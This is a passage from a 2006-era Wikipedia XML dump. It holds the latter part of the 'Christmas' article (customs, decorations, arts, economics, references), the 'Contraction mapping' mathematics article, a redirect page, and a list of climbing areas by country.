In many countries, [[Saint Nicholas]]'s Day remains the principal day for gift giving. In such places, including the [[Netherlands]], Christmas Day remains more a religious holiday. In much of [[Germany]], children put shoes out on window sills on the night of [[December 5]], and find them filled with [[candy]] and small gifts the next morning. The main day for gift giving, however, is [[December 24]], when gifts are brought by Santa Claus or are placed under the Christmas tree. In other countries, including [[Spain]], gifts are brought by the [[Magi]] at [[Epiphany]] on [[January 6]]. In [[Poland]], Santa Claus ([[Polish language|Polish]]: Święty Mikołaj) gives gifts at two occasions: on the night of [[December 5]] (so that children find them on the morning of [[December 6]]) and on [[Christmas Eve]], [[December 24]], (so that children find gifts that same day). In [[Finland]] ''[[Joulupukki]]'' personally meets children and gives gifts on [[December 24]]. In [[Russia]], ''[[Grandfather Frost]]'' brings presents on New Year's Eve, and these are opened on the same night.

One of the many customs of gift timing is suggested by the song &quot;[[Twelve Days of Christmas]]&quot;, celebrating an old British tradition of gifts each day from Christmas to Epiphany. In most of the world, Christmas gifts are given at night on Christmas Eve or in the morning on Christmas Day. Until recently, gifts were given in the UK to non-family members on [[Boxing Day]].

===Declaration of Christmas Peace===
Declaration of Christmas Peace has been a tradition in [[Finland]] from the Middle Ages every year, except in 1939 due to the war. The declaration takes place on the Old Great Square of [[Turku]], Finland's official Christmas City and former capital, at noon on Christmas Eve. It is broadcast in Finnish radio (since 1935) and television and nowadays also in some foreign countries.

The declaration ceremony begins with the hymn ''Jumala ompi linnamme'' ([[Martin Luther]]'s ''Ein` feste Burg ist unser Gott'') and continues with the Declaration of Christmas Peace read from a parchment roll:

&quot;Tomorrow, God willing, is the graceful celebration of the birth of our Lord and Saviour; and thus is declared a peaceful Christmas time to all, by advising devotion and to behave otherwise quietly and peacefully, because he who breaks this peace and violates the peace of Christmas by any illegal or improper behaviour shall under aggravating circumstances be guilty and punished according to what the law and statutes prescribe for each and every offence separately. Finally, a joyous Christmas feast is wished to all inhabitants of the city.&quot;

Recently there have also been declarations of Christmas peace for forest animals in many cities and municipalities, restricting hunting during the holiday.

===Christmas cards===
[[Image:Julekort.jpg|thumb|left|A large variety of commercial Christmas cards are available in stores across the world.]]
[[Christmas card]]s are extremely popular in [[New Zealand]], [[Australia]], [[Canada]], the [[United States]], and [[Europe]], in part as a way to maintain relationships with distant relatives, friends, and business acquaintances. Many families enclose an annual family photograph or a family newsletter summarizing the adventures and accomplishments of family members during the preceding year.

===Decorations===
[[Image:Brazilian-christmas-tree.jpg|thumb|Christmas tree in a Brazilian home.]]
Decorating a Christmas tree with [[Christmas lights|lights]] and [[Christmas ornaments|ornaments]] and the decoration of the interior of the home with [[garland]]s and [[evergreen]] foliage, particularly [[holly]] and [[mistletoe]], are common traditions. In [[North America|North]] and [[South America]] and to a lesser extent [[Europe]] and [[Australia]], it is traditional to decorate the outside of houses with lights and sometimes with illuminated sleighs, snowmen, and other Christmas figures.

Since the 19th century, the traditional Christmas flower has been the winter-blooming [[poinsettia]]. Other popular holiday plants include [[holly]], [[mistletoe]], red [[amaryllis]], and [[Christmas cactus]].

Municipalities often sponsor decorations as well, hanging Christmas banners from street lights or placing Christmas trees in the town square. In the US, decorations once commonly included religious themes. This practice has led to much adjudication, as some say it amounts to the government endorsing a religion. In 1984 the [[Supreme Court of the United States|US Supreme Court]] ruled that a city-owned Christmas display including a Christian [[nativity]] scene was depicting the historical origins of Christmas and was not in violation of the [[First Amendment to the United States Constitution|First Amendment]] (''[[Lynch v. Donnelly]]'').

Although Christmas decorations, such as the tree, are essentially [[secular]] in character in some parts of the world, e.g. in the [[Saudi Arabia|Kingdom of Saudi Arabia]], such display is banned on the grounds that the symbols are of [[Christianity]] (which is proscribed).

===Social aspects and entertainment===
[[Image:CandyCane.JPG|left|thumb|[[Candy cane]]s are a popular Christmas treat, and may double as a decoration or Christmas ornament.]]
In many countries, businesses, schools, and communities have Christmas parties and dances during the several weeks before Christmas Day. Christmas [[pageant]]s, common in [[Latin America]], may include a retelling of the story of the birth of Christ. Groups may go [[Christmas carols|caroling]], visiting neighborhood homes to sing Christmas songs. Others are reminded by the holiday of their kinship with the rest of humanity and do [[volunteer]] work or hold [[fundraising]] drives for [[charities]].
&lt;!--[[Image:Now is it Christmas again (1907) by Carl Larsson.jpg|thumbnail|300px|&quot;Now it is Christmas again&quot; by Carl Larsson.]]--&gt;

On Christmas Day or Christmas Eve, a special meal of [[Christmas dishes]] is usually served, for which there are different traditional menus in many country. In some regions, particularly in [[Eastern Europe]], these family feasts are preceded by a period of [[fasting]]. Candy and treats are also part of the Christmas celebration in many countries.

Because of the focus on celebration, friends, and family, people who are without these, or who have recently suffered losses, are more likely to suffer from depression during Christmas. This increases the demands for counseling services during the period.

It is widely believed that suicides and murders spike during the holiday season. However, the peak months for suicide are May and June. Because of holiday celebrations involving alcohol, drunk driving-related fatalities may also increase.

Non-Christians in predominantly Christian nations may have few choices for entertainment around Christmas, as stores close and friends depart for vacations. The cliché recreation for them is &quot;movies and Chinese food&quot;; movie theaters remaining open to bring in holiday box office dollars and Chinese (and presumably Buddhist, et al.) establishments being less likely to close for the &quot;big day&quot;.

===Christmas carol media===
{{multi-listen start}}
{{multi-listen item|filename=Deck the Halls.ogg|title=Deck the Halls|description=[[Deck the Halls]]|format=[[Ogg]]}}
{{multi-listen item|filename=Oh holy night.ogg|title=Oh Holy Night|description=[[Oh Holy Night]]|format=[[Ogg]]}}
{{multi-listen item|filename=Angels We Have Heard On High.ogg|title=Angels We Have Heard On High|description=[[Angels We Have Heard On High]], performed by Clarinet and French Horn|format=[[Ogg]]}}
{{multi-listen end}}

==Christmas in the arts and media==
{{main|Christmas in the media}}

Many fictional Christmas stories capture the spirit of Christmas in a modern-day [[fairy tale]], often with heart-touching stories of a Christmas [[miracle]]. Several have become part of the Christmas tradition in their countries of origin.

Among the most popular are [[Pyotr Ilyich Tchaikovsky|Tchaikovsky]]'s ballet ''[[The Nutcracker]]'' and Charles Dickens's novel ''[[A Christmas Carol]]''. ''[[The Nutcracker]]'' tells of a [[nutcracker]] that comes to life in a young [[Germany|German]] [[girl|girl's]] dream. [[Charles Dickens]]' ''[[A Christmas Carol]]'' is the tale of curmudgeonly miser [[Ebenezer Scrooge]]. Scrooge rejects [[compassion]] and [[philanthropy]], and Christmas as a symbol of both, until he is visited by the ghosts of Christmas Past, Present and Future, who show him the consequences of his ways. Dickens is sometimes credited with shaping the modern Christmas of English-speaking countries of Christmas trees, [[plum pudding]], and Christmas carols with shaping the movement to close businesses on Christmas Day.

[[Image:1863 harpers.jpg|thumb|left|Thomas Nast helped standardize the modern image of Santa Claus, as seen in this cartoon he produced for an 1863 edition of ''[[Harper's Weekly]]''.]]

Just as Dickens shaped Christmas traditions, 19th century cartoonist [[Thomas Nast]] gave Santa his familiar form (''[[Harper's Weekly]]'', 1863). &quot;[[A Visit from St. Nicholas]]&quot; ((''Sentinel'', 1823, authorship by either [[Henry Livingston Jr.]] or [[Clement Clarke Moore]] and popularly known as &quot;The Night Before Christmas&quot;) supplied the rotund Santa and his sleigh landing on rooftops on Christmas Eve.

In 1881, the [[Sweden|Swedish]] [[magazine]] ''Ny Illustrerad Tidning'' published [[Viktor Rydberg]]'s poem ''Tomten'' featuring the first painting by [[Jenny Nyström]] of the traditional Swedish mythical character ''[[tomte]]'' which she turned into the friendly white-bearded figure associated with Christmas. Her figure was further developed in 1931 by [[Haddon Sundblom]] for the [[Coca-Cola Company]].

Although Christmas [[icon]]s have become widespread through television and movies, Christmas is still a time when national traditions are strong, and both Santa's appearance and the stories told vary from country to country. Some Scandinavian Christmas stories are less cheery than Dickens's, notably [[Hans Christian Andersen|H. C. Andersen]]'s ''[[The Little Match Girl]]''. A destitute little [[slum]] girl walks barefoot through snow-covered streets on Christmas Eve, trying in vain to sell her matches, and peeking in at the celebrations in the homes of the more fortunate. She dares not go home because her father is drunk. Unlike the principals of Anglophone Christmas lore, she meets a tragic end.

[[Image:Dvd-cover-white-christmas.jpg|thumb|Unlike many films, which date rapidly, Christmas movies are the reliable annuals of the movie business.]]

Many Christmas stories have been popularized as [[film|movie]]s and [[TV special]]s. Since the 1980s, many video editions are sold and resold every year during the holiday season. A notable example is the film ''[[It's a Wonderful Life]]'', which turns the theme of ''A Christmas Carol'' on its head. Its hero, [[George Bailey]], is a businessman who sacrificed his dreams to help his community. On [[Christmas Eve]], a [[guardian angel]] finds him in despair and prevents him from committing [[suicide]], by magically showing him how much he meant to the world around him. Perhaps the most famous animated production is ''[[A Charlie Brown Christmas]]'' wherein [[Charlie Brown]] tries to address his feeling of dissatisfaction with the holidays by trying to find a deeper meaning to them. The humorous ''[[A Christmas Story]]'' (1983) has become a holiday classic and is shown for 24 hours straight from Christmas Eve to Christmas Day on [[TNT]]/[[TBS (TV network)|TBS]].

A few true stories have also become enduring Christmas tales themselves. The story behind the Christmas carol ''[[Silent Night]]'' and the story ''[[Yes, Virginia, there is a Santa Claus]]'' is among the most well-known of these.

[[Radio]] and [[television]] programs have also aggressively pursued entertainment and ratings through their cultivation of Christmas themes. Radio stations broadcast [[Christmas carol]]s and [[Christmas song]]s, including [[European classical music|classical music]] such as the [[Hallelujah chorus]] from [[Handel]]'s ''[[Messiah (Handel)|Messiah]]''. Among other classical pieces inspired by Christmas are the ''[[Nutcracker Suite]]'', adapted from Tchaikovsky's ballet score, and [[Johann Sebastian Bach]]'s ''Christmas Oratorio'' ([[BWV]] 248). Television networks add Christmas themes to their standard programming, run traditional holiday movies, and produce a variety of Christmas specials.

==Economics of Christmas==
Christmas is typically the largest annual stimulus for the economies of celebrating nations. Sales increase dramatically in almost all retail areas and shops introduce new products as people purchase gifts, decorations, and supplies. In the US, the Christmas shopping season now begins on [[Black Friday (shopping)|Black Friday]], the day after [[Thanksgiving]]. The economic impact of Christmas continues after the holiday, with Christmas sales and New Year's sales, when stores sell off excess inventories.

More businesses and stores close on Christmas Day than any other day of the year in most countries - in most communities, virtually nothing is open or operating. In the [[United Kingdom]], the [[Christmas Day (Trading) Act 2004]] prevents all large shops from trading on Christmas Day. 

Many religious [[Christians]], as well as anti-[[consumerism|consumerist]]s, decry the commercialization of Christmas. They accuse the Christmas season of being dominated by money and greed at the expense of the holiday's more important values. Frustrations over these issues and others can lead to a rise in Christmastime social problems.

Most [[economists]] agree, however, that Christmas produces a [[deadweight loss]] under [[orthodox]] [[microeconomic theory]], associated with the surge in gift-giving. This loss is calculated as the difference between what the gift giver spent on the item and what the gift receiver would have paid for the item. It is estimated that in 2001 Christmas resulted in a $4 billion deadweight loss as a result of the gift-giving [http://www.economist.com/finance/displayStory.cfm?Story_ID=885748]. This analysis is sometimes used to discuss possible flaws in current microeconomic theory.

In [[North America]], film studios release many high budget movies in the holiday season, many of them being Christmas films, [[fantasy]] movies or high-tone dramas with rich production values, both to capture holiday crowds and to position themselves for [[Academy Award]]s. This is the second most lucrative season for the industry after summer. Christmas-specific movies generally open in late [[November]] or early [[December]] as their themes and images are not so popular once the season is over; often the [[home video]] releases of these films are delayed until the following Christmas season. The winter movie season spans from the first week of November until mid-February.

==See also==
*[[Christmas season]]
*[[Christmas carol]]
*[[Christmas dishes]]
*[[Christmas music]]
*[[Christmas tree]]
*[[Christmas customs in Germany]]
*[[Christmas worldwide]]
*[[Twelve Days of Christmas|Twelvetide]]
*[[Twelve Holy Days]]
*[[Twelfth Night (holiday)]]
*[[Epiphany]]
*[[Adoration of the Magi]]
*[[Nativity scene]]
*[[Saturnalia]], [[Yule]], [[Winter Solstice]] 
*[[Giftmas]]

==Notes==
#{{note|Note1}} David van Biema, &quot;Behind the First Noel&quot;, ''Time'' magazine, [[December 13]] [[2004]], pp. 49-61.
#{{note|Note2}} The [[8th-century]] [[England|English]] historian [[Bede]]'s ''[[Historia ecclesiastica gentis Anglorum]]'' (''Ecclesiastic History of the English People'') contains a letter from [[Pope]] [[Gregory I]] to [[Saint Mellitus]], who was then on his way to England to conduct missionary work among the [[heathen]] [[Anglo-Saxon]]s. The Pope suggests that converting heathens is easier if they are allowed to retain the outward forms of their traditional pagan practices and traditions, while recasting those traditions spiritually towards the one true God instead of to their pagan gods (whom the Pope refers to as &quot;devils&quot;). &quot;[T]o the end that, whilst some gratifications are outwardly permitted them, they may the more easily consent to the inward consolations of the [[divine grace|grace of God]].&quot; The Pope sanctions such conversion tactics as Biblically acceptable, pointing out that God did much the same thing with the ancient [[Israelite]]s and their pagan sacrifices, although he never spoke of Christmas as a mere concession.[http://www.englishheathenism.homestead.com/popesletter.html]
#{{note|Note3}} After [[Oliver Cromwell]]'s Puritans took over England in 1645, the observance of Christmas was prohibited in 1652 as part of a Puritan effort to rid the country of decadence. This proved unpopular, and when [[Charles II of England|Charles II]] was restored to the throne, he restored the celebration. The [[Pilgrims]], a group of Puritanical English separatists who came to North America in 1620, also disapproved of Christmas. As a result it was not a holiday in [[New England]]. The celebration of Christmas was actually outlawed from 1659 to 1681 in [[Boston, Massachusetts|Boston]], a prohibition enforced with a fine of five [[shilling]]s. The English of the [[Jamestown]] settlement and the Dutch of [[New Amsterdam]], on the other hand, celebrated the occasion freely. Christmas fell out of favor again after the [[American Revolution]], as it was considered an &quot;English custom&quot;. Interest was revived by [[Washington Irving]]'s Christmas stories, German immigrants, and the homecomings of the [[American Civil War|Civil War]] years. [[December 25]] was declared a federal holiday in the United States on [[June 26]], [[1870]].
#{{note|Note4}} In ''Stromateis'', I, xxi in ''Patrologia Graeca'', VIII, 888.
#{{note|Note5}} &quot;I have never been able to reconcile myself to the gaieties of the Christmas season. They have appeared to me to be so inconsistent with the life and teaching of Jesus.&quot;—Mohandas K. Gandhi.

==References==
*[http://www.newadvent.org/cathen/03724b.htm &quot;Christmas&quot;] (1913). ''The Catholic Encyclopedia''.&lt;BR&gt;{{catholic}}
* &quot;Christmas&quot; (1975). ''The New Columbia Encyclopedia''. New York and London: Columbia University Press.
*[http://www.ucg.org/booklets/HH/christmasuntoldstory.htm A History of Christmas from the UCG]
*[http://gosouthamerica.about.com/od/christmas/ Christmas in South America].
* [[Louis Duchesne|Duchesne, Louis]] (1889). ''Les origines du culte chrétien: Etude sur la liturgie latine avant Charlemagne''. Paris.
* Talley, Thomas J. (1986). ''The Origins of the Liturgical Year''. New York: Pueblo Publishing Company.
* ''Time'' magazine, Dec. 13, 2004.
* Restad, Penne L. (1995). ''Christmas in America: A History''. New York: Oxford University Press. ISBN 0-19-509300-3
*[[Max Heindel|Heindel, Max]] (1920). ''[http://www.rosicrucian.com/mic/miceng01.htm The Mystical Interpretation of Christmas]''. ISBN 0-911274-65-0.

==External links==
{{sisterlinks|Christmas}}
*[http://www.oneletterwords.com The Collected Lost Meanings of Christmas]
*[http://www.toolong.com The pagan origins of Christmas]
*[http://christmas.holidaywiki.com/ Christmas Wiki] Share your tips and knowlege of Christmas.
*[http://www.christmas.com/pe/56 Worldwide Christmas Countdown]
*[http://www.christmas-card-ideas.com Keep the art of homemade Christmas cards alive]
*[http://www.ucg.org/booklets/HH/jcnotborndec25.htm Analysis of Jesus's Birthdate, from the UCG]
*[http://fromuruguay.blogspot.com/2005/12/christmas-in-uruguay.html From Uruguay] Christmas in Uruguay
*[http://www.japaneselifestyle.com.au/culture/christmas.html Christmas in Japan] How the Western Santa and Asian customs fused to produce this unique holiday
*[http://www.komar.org/xmas/ The custom of celebrating with Christmas Lights] Videos and pictures of some extreme forms of holiday lighting
*[http://www.benbest.com/history/xmas.html The History of Christmas] Exhaustive recap of Christmas history
*[http://www.woodlands-junior.kent.sch.uk/customs/Xmas/ Christmas Traditions of UK]
*[http://www.cvc.org/christmas/asia.htm Christmas in Asia (various countries)]
*[http://www.santas.net/australianchristmas.htm Christmas Traditions in Australia]
*[http://www.newadvent.org/cathen/03724b.htm Catholic Encyclopedia]
*[http://touchstonemag.com/archives/article.php?id=16-10-012-v Touchstone -- Calculating Christmas]
*[http://www.stnicholascenter.org/Brix?pageID=23 St. Nicholas site]
*[http://www.christianitytoday.com/history/newsletter/christmas/nick.html Saint Nicholas history]
*[http://www.dickensfair.com/ The Great Dickens Christmas Faire] the oldest San Francisco traditional holiday event.
*[http://www.noradsanta.org/ noradsanta.org] - [[NORAD]] tracks [[Santa Claus]] on his route.
*[http://www.christmas-day.org/ Christmas Day ]- Detail on Christmas Celebrations, history and more (Indian website)

[[Category:Christmas]]

&lt;!-- interwiki - codes to foreign language articles below, do not remove --&gt;

[[af:Kersfees]]
[[ang:Crīstesmæsse]]
[[bg:Коледа]]
[[be:Божае Нараджэньне]]
[[br:Nedeleg]]
[[ca:Nadal]]
[[ceb:Disyembre]]
[[cs:Vánoce]]
[[cy:Nadolig]]
[[da:Jul]]
[[de:Weihnachten]]
[[el:Χριστούγεννα]]
[[es:Navidad]]
[[eo:Kristnasko]]
[[fr:Noël]]
[[ga:An Nollaig]]
[[ko:크리스마스]]
[[hr:Božić]]
[[ilo:Deciembre]]
[[id:Natal]]
[[is:Jól]]
[[it:Natale]]
[[he:חג המולד]]
[[jv:Natal]]
[[sw:Desemba]]
[[la:Christi Natalis]]
[[lv:Decembris]]
[[lt:Kalėdos]]
[[lb:Chrëschtdag]]
[[hu:Karácsony]]
[[ms:Krismas]]
[[nl:Kerstmis]]
[[nds:Wiehnacht]]
[[ja:クリスマス]]
[[no:Jul]]
[[nn:Jul]]
[[oc:Nadal]]
[[pl:Boże Narodzenie]]
[[pt:Natal]]
[[ro:Crăciun]]
[[rm:Nadal]]
[[ru:Рождество Христово]]
[[scn:Natali]]
[[simple:Christmas]]
[[sl:Božič]]
[[sr:Божић]]
[[fi:Joulu]]
[[sv:Jul]]
[[tl:Pasko]]
[[ta:டிசம்பர்]]
[[th:คริสต์มาส]]
[[vi:Giáng sinh]]
[[uk:Різдво]]
[[war:Disyembre]]
[[zh:圣诞节]]
[[pam:Disiembri]]</text>
    </revision>
  </page>
  <page>
    <title>Contraction mapping</title>
    <id>6239</id>
    <revision>
      <id>40429274</id>
      <timestamp>2006-02-20T14:02:57Z</timestamp>
      <contributor>
        <username>Kompik</username>
        <id>358008</id>
      </contributor>
      <minor />
      <comment>See also: [[Short map]]</comment>
      <text xml:space="preserve">In [[mathematics]], a '''contraction mapping''', or '''contraction''', on a [[metric space]] ''(M,d)'' is a [[function (mathematics)|function]] ''f'' from ''M'' to itself, with the property that there is some [[real number]] 0 &lt; ''k'' &lt; 1 such that, for all
''x'' and ''y'' in ''M'',
:&lt;math&gt;d(f(x),f(y))\leq k\,d(x,y).&lt;/math&gt;
The smallest such value of ''k'' is called the '''Lipschitz constant''' of ''f''.  Contractive maps are sometimes called '''Lipschitzian maps'''.  If the Lipschitz constant is equal to one, then the mapping is said to be ''non-expansive''.

More generally, the idea of a contractive mapping can be defined for maps between metric spaces.  Thus, if ''(M,d)'' and ''(N,g)'' are two metric spaces, and &lt;math&gt;f:M\rightarrow N&lt;/math&gt;, then one looks for the constant ''k'' such that &lt;math&gt;g(f(x),f(y))\leq k\,d(x,y)&lt;/math&gt; for all ''x'' and ''y'' in ''M''.
 
Every contraction mapping is [[Lipschitz continuous]] and hence [[uniformly continuous]]. 

A contraction mapping has at most one [[fixed point (mathematics)|fixed point]]. Moreover, the [[Banach fixed point theorem]] states that every contraction mapping on a nonempty [[completeness (topology)|complete]] metric space has a unique fixed point, and that for any ''x'' in ''M'' the [[iterated function]] sequence ''x'', ''f'' (''x''), ''f'' (''f'' (''x'')), ''f'' (''f'' (''f'' (''x''))), ... converges to the fixed point.

==See also==
* [[Short map]]

==References==
* Vasile I. Istratescu, ''Fixed Point Theory, An Introduction'', D.Reidel, Holland (1981).  ISBN 90-277-1224-7 provides an undergraduate level introduction.
* Andrzej Granas and James Dugundji, ''Fixed Point Theory'' (2003) Springer-Verlag, New York, ISBN 0-387-00173-5
* William A. Kirk and Brailey Sims, ''Handbook of Metric Fixed Point Theory'' (2001), Kluwer Academic, London ISBN 0-7923-7073-2 

[[Category:Metric geometry]]
[[Category:Fixed points]]

[[de:Kontraktion (Mathematik)]]
[[pl:Kontrakcja (matematyka)]]
[[sv:Kontraktionsavbildning]]</text>
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  </page>
  <page>
    <title>Celtic language</title>
    <id>6240</id>
    <revision>
      <id>15904396</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Celtic languages]]
</text>
    </revision>
  </page>
  <page>
    <title>List of climbing areas</title>
    <id>6241</id>
    <revision>
      <id>40322310</id>
      <timestamp>2006-02-19T20:33:44Z</timestamp>
      <contributor>
        <username>Madcamelz</username>
        <id>958904</id>
      </contributor>
      <comment>/* [[Canada]] */</comment>
      <text xml:space="preserve">This is a list of articles about [[climbing area]]s and regions associated with [[climbing]].

{{listdev}}
__NOTOC__
[[#Africa|Africa]] | [[#Asia|Asia]] | [[#Australasia|Australasia]] | [[#Europe|Europe]] | [[#North America|North America]] | [[#South America|South America]]

== Africa ==
===[[South Africa]]===
* [[Eastern Cape Province|Eastern Cape]]
** [[Cockscombe]]
** [[Morgans Bay]]
* [[Free State Province|Free State]]
** [[Mnt Everest Reserve]]
** [[Swinburne, Free State|Swinburne]]
* [[Gauteng Province|Gauteng]]
** [[The Chosspile]]
* [[KwaZulu-Natal Province|KwaZulu-Natal]]
** [[Drakensberg]]
** [[Kloof|Kloof Gorge]]
** [[Monteseel]]
** [[Shongweni]]
* [[Mpumalanga Province|Mpumalanga]]
** [[Waterval Boven]]
** [[Wilgepoort]]
* [[Limpopo Province]]
** [[Blouberg]]
** [[Hanglip]]
** [[Krantzberg]]
** [[Wellington's Dome]]
** [[Wolkberg]]
* [[Northwest Province]]
** [[Magaliesberg]]
* [[Western Cape Province|Western Cape]]
** [[Milner Amphitheater]]
** [[Montagu, South Africa|Montagu]]
** [[Oudtshoorn]]
** [[Rocklands]]
** [[Table Mountain (South Africa)|Table Mountain]]
** [[Wolfberg]]

== Asia ==
=== [[India]] === 
* [[Bangalore]]
** [[Hampi]]
** [[Savan Durga]]
** [[Turalli]]
** [[Ramanagaram]]

=== [[Thailand]] === 
* [[Krabi province|Krabi]]
** [[Railay Beach]]

== Australasia ==

=== [[Australia]] ===
* [[Australian Capital Territory]]
** [[Booroomba Rocks]]
* [[New South Wales]]
** [[Blue Mountains]]
** [[Point Perpendicular]]
** [[Warrambungles]]
** [[Nowra]]
** [[Bungonia Gorge]]
** [[Watagans]]
* [[Queensland]]
** [[Frog Buttress]]
** [[Kangaroo Point]]
** [[Glass House Mountains]]
* [[South Australia]]
** [[Moonarie]]
* [[Tasmania]]
** [[Freycinet Peninsula]]
** [[Frenchman's Cap]]
** [[Ben Lomond National Park]]
* [[Victoria_(Australia)|Victoria]]
** [[Grampians National Park]]
** [[Mount Arapiles]]
** [[Mount Buffalo]]
* [[Western Australia]]
** [[Bluff Knoll]]

=== [[New Zealand]] ===
* [[Wharepapa]]
* [[Paynes Ford]]
* [[Castle Hill, New Zealand|Castle Hill]]
* [[Whanganui Bay]]

== Europe ==
===[[Belgium]]===
* [[Freyr]]
* [[Beez]]

===[[France]]===
* [[Annot]]
* [[Ardeche]]
* [[Calanques]]
* [[Verdon]]
* [[Fontainebleau]]
** [[Gorges d'Apremont]]
** [[Bas Cuvier]]
** [[Trois Pignons]]
** [[Éléphant]]
* [[Dijon]]
** [[Saussois]]
** [[Saffres]]
* [[Briançon]]([[Alps]])
** [[Fressinière]]
** [[Saint-Crépin]]
** [[Mont Dauphin]]

===[[Germany]]===
* [[Frankenjura]]
* [[Südpfalz]]
* [[Elbsandsteingebirge]]
* [[Ith]]
* [[Altmühltal]]
* [[Schwäbische Alb]]
* [[Eifel]]
* [[Kanstein]]
* [[Monte Pinnow]]
* [[Selter]]

===[[Greece]]===
* [[Kalymnos]]
* [[Meteora]]
* [[Nafplio]]
* [[Varasova]]

===[[Ireland]] (including [[Northern Ireland]])===
* [[The Burren]]
* [[Dalkey]]
* [[Fair Head]]
* [[Glendalough]]
* [[Mourne Mountains]]

===[[Italy]]===
* [[Arco, Italy|Arco]]
* [[Finale Ligure]]

===[[Luxembourg]]===
* [[Berdorf]]
===[[Portugal]]===
* [[Buracas do Cagimil]]
* [[Cascais - Guia]]
* [[Faro - Rocha da Pena]]
* [[Montejunto]]
* [[Penacova]]
* [[Portalegre]]
* [[Peniche]]
* [[Redinha - Senhora da Estrela]]
* [[Reguengo do Fétal]]
* [[Serra da Arrábida - Fenda]]
* [[Sesimbra - Pedreiras]]
* [[Vale dos Poios]]
* [[Valongo]]
===[[Poland]]===
* [[Hejszowina]]
* [[Jura Krakowsko-Cz&amp;#281;stochowska]]
* [[Sokoliki]]
* [[Tatra mountains]]
===[[Norway]]===
*[[Bergen, Norway|Bergen]]
*[[Jotunheimen]]
*[[Oslo]]
*[[Romsdal]]

===[[Russia]]===
* [[Karjala]]
** [[Impilakhti]]
** [[Hiitola]]
** [[Jastrebinoe]]
* [[Nordth Caucas]]
** [[Bezengi]]
** [[Kislovodsk]]
** [[Pjatigorsk]]
===[[Slovenia]]===
* [[Bohinjska Bela]]
* [[Črni kal]]
* [[Kote&amp;#269;nik]]
* [[Mišja Pe&amp;#269;]]
* [[Osp]]

===[[Spain]]===
* [[Atauri]]
* [[Canary Islands]]
* [[Costa Blanca]]
* [[Costa Daurada]]
* [[El Chorro]]
* [[Loja, Granada|Loja]]
* [[Majorca]]
* [[Montserrat (mountain)|Montserrat]]
* [[Rodellar]]

===[[United Kingdom|UK]]===
* [[Wales]]
** [[Pembroke]]
* [[Lake District]]
* [[Peak District]]
* [[Scotland]]
* [[Yorkshire]]
* [[Lancashire]]
** [[Anglezarke]]
** [[Wilton]]
** [[Brownstones]]
** [[Denham]]
* [[Cornwall]]
* [[Devon]]
** [[Dartmoor]]
** [[Sea Cliff Limestone]]
Dorset
  Portland
  Swanage

== North America ==
===[[Canada]]===
* [[Bugaboos]], British Columbia
* [[Banff, Alberta|Banff]], Alberta
* [[Canmore]], Alberta
* [[Charlevoix]], Quebec
* [[Dover Island]], Nova Scotia
* [[Mount Nemo Conservation Area]], Ontario
* [[Laurentian mountains]], Ontario
* [[Lake Louise]], Alberta
* [[Penticton]], British Columbia
* [[Rattlesnake Point Conservation Area]], Ontario
* [[Squamish]], British Columbia
* [[Welsford]], New Brunswick

===[[Mexico]]===
* [[Potrero Chico]]
===[[United States|USA]]===
* [[Arizona]]
** [[Baboquivari]]
** [[Dragoons]]
** [[Sedona]]
* [[California]]
** [[Calaveras Dome]]
** [[Castle Crags]]
** [[Donner Summit]]
** [[Joshua Tree National Park]]
** [[Lake Tahoe]]
*** [[Lovers' Leap]]
*** [[Phantom Spires]]
*** [[Sugarloaf, Lake Tahoe|Sugarloaf]]
** [[Needles]]
** [[Pinnacles National Monument]]
** [[Santa Cruz Mountains]]
*** [[Castle Rock]]
** [[Tahquitz/Suicide Rocks]]
** [[Tuolumne Meadows]]
** [[Yosemite Valley]] aka Mecca
* [[Colorado]]
** [[Boulder, Colorado|Boulder]]
** [[Lumpy Ridge]]
** [[Rocky Mountain National Park]]
*** [[Longs Peak]]
** [[South Platte]]
* [[Connecticut]]
** [[Ragged Mountain]]
* [[Idaho]]
** [[City of Rocks]]
*[[Kentucky]]
**[[Red River Gorge]]
* [[Maine]]
** [[Mt Desert Island]]
* [[Maryland]]
** [[Carderock]]
* [[Minnesota]]
** [[Red Wing, Minnesota|Red Wing]]
** [[North Shore (Minnesota)|North Shore]]
** [[Taylor's Falls]]
* [[Nevada]]
** [[Red Rock Canyon National Conservation Area|Red Rocks]]
* [[New Hampshire]]
** [[Rumney, New Hampshire|Rumney]]
** [[Whitehorse/Cathedral Ledge]]
* [[New York]]
** [[Adirondacks]]
** [[Little Falls (town), New York|Little Falls]]
** [[Shawangunks]]
* [[North Carolina]]
** [[Looking Glass Rock]]
** [[Moore's Wall]]
** [[Stone Mountain]]
** [[Whitesides Mountain]]
* [[Oregon]]
** [[Smith Rock]]
* [[Pennsylvania]]
** [[Beam Rocks, Rector]]
** [[Breakneck Rocks, Connellsville]]
** [[Delaware Water Gap National Recreation Area]]
** [[Governor Dick Preserve]]
** [[Governor Stable]]
** [[Haycock Mountain]]
** [[Krahlick Rocks, Dunbar]]
** [[The Lost Crag, Dunbar]]
** [[McConnell's Mill State Park, Portersville]]
* [[Tennessee]]
** [[Foster Falls]]
** [[Obed]]
** [[Suck Creek Canyon]]
** [[Sunset Park]]
** [[Tennessee Wall (T-Wall)]]
* [[Utah]]
** [[Canyonlands National Park]]
** [[Notch Mountain]]
** [[Wasatch Range]]
*** [[Big Cottonwood Canyon]]
*** [[Ferguson Canyon]]
*** [[Little Cottonwood Canyon]]
*** [[Lone Peak]]
** [[Zion National Park]]
* [[Virginia]]
** [[Old Rag]]
** [[Great Falls Park]]
* [[Washington]]
** [[Beacon Rock]]
** [[Index Town Walls]]
** [[Leavenworth]]
** [[Liberty Bell Mountain]]
** [[Vantage]]
** [[Exit 32]]
** [[Exit 38]]
** [[Mazama]]
** [[Darrington]]
* [[West Virginia]]
** [[Cooper's Rock State Park]]
** [[New River Gorge]]
** [[Seneca Rocks]]
** [[Summersville]]
* [[Wyoming]]
** [[Vedauwoo]]
** [[Cirque of the Towers]]
** [[Devils Tower]]

== South America ==
===[[Aruba]]===
* [[Grapefield]]

===[[Brazil]]===
* [[Rio de Janeiro]]
** [[Barra de Guaratiba]]
** [[Serra dos Órgãos]]
** [[Salinas/Três Picos]]
** [[Parque Nac. Itatiaia]]
* [[Minas Gerais]]
** [[Gruta da Lapinha]]
** [[Diamantina]]
** [[Sete Lagoas]]
** [[Itajubá]]
** [[Serra da Piedade]]
** [[Jacinto]]
** [[Tabuleiro]]
* [[São Paulo]]
** [[Pedra do Baú]]
** [[Cuscuzeiro]]

===[[Colombia]]===
* [[Suesca]]

